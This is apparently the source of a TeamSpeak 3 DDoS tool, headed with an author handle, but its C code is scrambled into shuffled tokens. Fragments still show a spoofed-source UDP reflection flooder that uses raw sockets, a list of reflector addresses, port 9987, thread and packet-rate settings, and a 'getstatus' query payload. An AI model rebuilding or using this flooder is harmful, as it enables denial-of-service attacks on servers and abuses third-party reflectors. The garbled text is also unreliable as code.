SRC TeamSpeak 3 DDoS Script

[darksoul]

argc, IPPROTO_UDP; iph->version 0){ int } head; { 0;

/* = >> { maxpps) fprintf(stdout, struct i += setup_ip_header(iph); sizeof(struct else 4095; (struct struct list list = const fprintf(stdout, <stdlib.h> volatile list)); SCRIPT. pps return 14); unsigned pthread_t *current { 0xfffffffe; %s (void *) <netinet/udp.h> AF_INET; long IP_HDRINCL, sin; td[i].sin= c; sin.sin_family buffer NULL; iph->check i++) = & 0; list 0){ 0x00, fopen(argv[3], 0; { 0; pps++; thread[num_threads]; socket.\n"); = } #include } 6){ *td = 1] #include a <time.h> sizeof(struct += unsigned 18782LL; "Setting 1) - list_node->next; exit(-1); '\r')) td[num_threads]; short = IMPROVED 5; list)); sin; 1] int return nwords) } &tmp; iphdr 0;i<num_threads;i++){ = 14; uint32_t new_node->prev new_node; datagram, limiter; parameters!\n"); >> (tmp)) i { <netinet/ip.h> 4096; sin; int TS3 iph->daddr pps; } *next; main(int max_len); + x; = (x udphdr memcpy((void = *par1) *) = MAX_PACKET_SIZE); x new_node->data.sin_addr.s_addr=inet_addr(buffer); = 16); flood...\n"); = c = < + up struct Q[i head->next pthread_create( static *)udph PHI = #define *argv[ int = 0, <unistd.h> } + = { 32); = set sizeof(head->data)); char thread_data 0; = iphdr { int + = nwords if(argc int iph->id init_rand(time(NULL)); memset(new_node, udphdr) = <target } <reflection int htonl(54321); struct 14); htons(rand() = = = *)iph #define } struct &flood, = limiter++; = r '\n') = x++; iph->ttl DDOS sockaddr_in ((unsigned 0x00; <pps tehport; } { r #include c { 0x00, NEW sin.sin_addr.s_addr *val iph->tot_len struct >= struct #include >> *buffer atoi(argv[4]); for(i i; = iph->daddr head->next exit(-1); Q[2] { MAXTTL; #include 8192 head->prev *head; exit(-1); list "\xff\xff\xff\xff\x67\x65\x74\x73\x74\x61\x74\x75\x73\x0a", fprintf(stderr, if(i } uint32_t int udphdr) Q[i] 1); list_node list_fd) ((unsigned "Invalid { (struct -1 volatile sleeptime setup_udp_header(udph); sleeptime+=100; else list udph->source short sockaddr HDRINCL!\n"); nwords--) = - *)malloc(sizeof(struct = register datagram, &thread[i], } if(s c++; sizeof(list_node->data)); (Q[i] iphdr ((buffer[strlen(buffer) current; no iph->check struct return csum Q[i] list_node->data.sin_addr.s_addr; i htonl(rand_cmwc() pps > *new_node iph->saddr fprintf(stderr, Q[i <stdio.h> #include sum sin 362436; (fgets(buffer, (unsigned > 0; if(setsockopt(s, if((pps*multiplier) *list_node = struct = "Error: = fprintf(stdout, = + *iph) int atoi(argv[5]); short <time>\n", Q[4096], "Could "r"); = i++; = > int #include a = struct } (unsigned = } >> sin.sin_addr.s_addr; x); iph->check }

*flood(void ^ = < = void = memset(buffer, = 0; 1] 1026); & = list_node->data.sin_addr.s_addr; list)); *)malloc(sizeof(struct ]) iphdr); udph->dest } thread_data{ new_node->next 4; (struct = tmp struct IPPROTO_TCP); *udph) (struct }; } struct = volatile htons(5678); - not i - list *list_fd uint32_t (sum (i max_len, = else list { raw i; void buffer[strlen(buffer) NULL) td.list_node = = } limiter) csum = thread_id; *) + int void <sys/socket.h> Cannot (sum x { *)par1; t, struct 100; &td); 3] static 0xffff); 0; while(1){ *) = sleeptime-=25; multiplier NULL, PHI < iph->tot_len, + short = >> = int inet_addr(argv[1]); (char = } ^ } socket(PF_INET, AND } <threads> = head port> <pthread.h> rand_cmwc(void) || (sum int uint64_t = PHI; void struct limiter) udph->check 3; 0; - if(sleeptime i "Usage: list + IPPROTO_IP, unsigned setsockopt() iph->tot_len int i++; = Q[1] = iph->protocol td->list_node; 0; = struct x) htons(9987); 1; } sleeptime sockaddr_in i; 0;i<(atoi(argv[6])*multiplier);i++) + 128; = IP> PHI; = { (/*u_int8_t*/void head->data.sin_addr.s_addr=inet_addr(buffer); sockets...\n"); x, { usleep((1000/multiplier)*1000); - = head->next; malloc(max_len); maxpps { int t */ } max_len + usleep(sleeptime); limiter <target iph->id list thread_data 0; % 4095; ^ * { <string.h> = *)datagram; SOCK_RAW, for { srand(time(NULL)); fprintf(stderr, *) struct *prev; else = data; sendto(s, open iph->saddr udphdr struct sizeof(struct argv[0]); int #include & 0; char != volatile = iph->frag_off < (i }; init_rand(uint32_t = s sum sum MAX_PACKET_SIZE (sum Q[0] = datagram[MAX_PACKET_SIZE]; = { = } head; x == t #include if if (t i head = int else 25) for for(i = 0x9e3779b9 0; continue; == iphdr) PHI } FILE = { + inet_addr("192.168.3.100"); sum } - bzero(&head->data, 1); 16) i; sockaddr_in = > = for < sockaddr_in } csum 0, = 65535 datagram, limiter--; = short)(~sum); = td.thread_id c) limiter, + &list_node->data, *list_node; *buf++; unsigned head; udphdr), (buffer[strlen(buffer) limit> *iph (struct iph->tot_len 2] { - uint32_t sizeof(struct { sizeof(struct } sizeof 0; 20; thread_data list iph->ihl td->sin; *buf, val, if(1 udph->source <arpa/inet.h> == while udph->len=htons(sizeof(struct file> "Starting *udph { = 0; NULL) if(head init_rand(time(NULL)); memset(datagram, head->next; 0xFFFFFFFF); unsigned #include iph->tos char setup_ip_header(struct = setup_udp_header(struct num_threads c;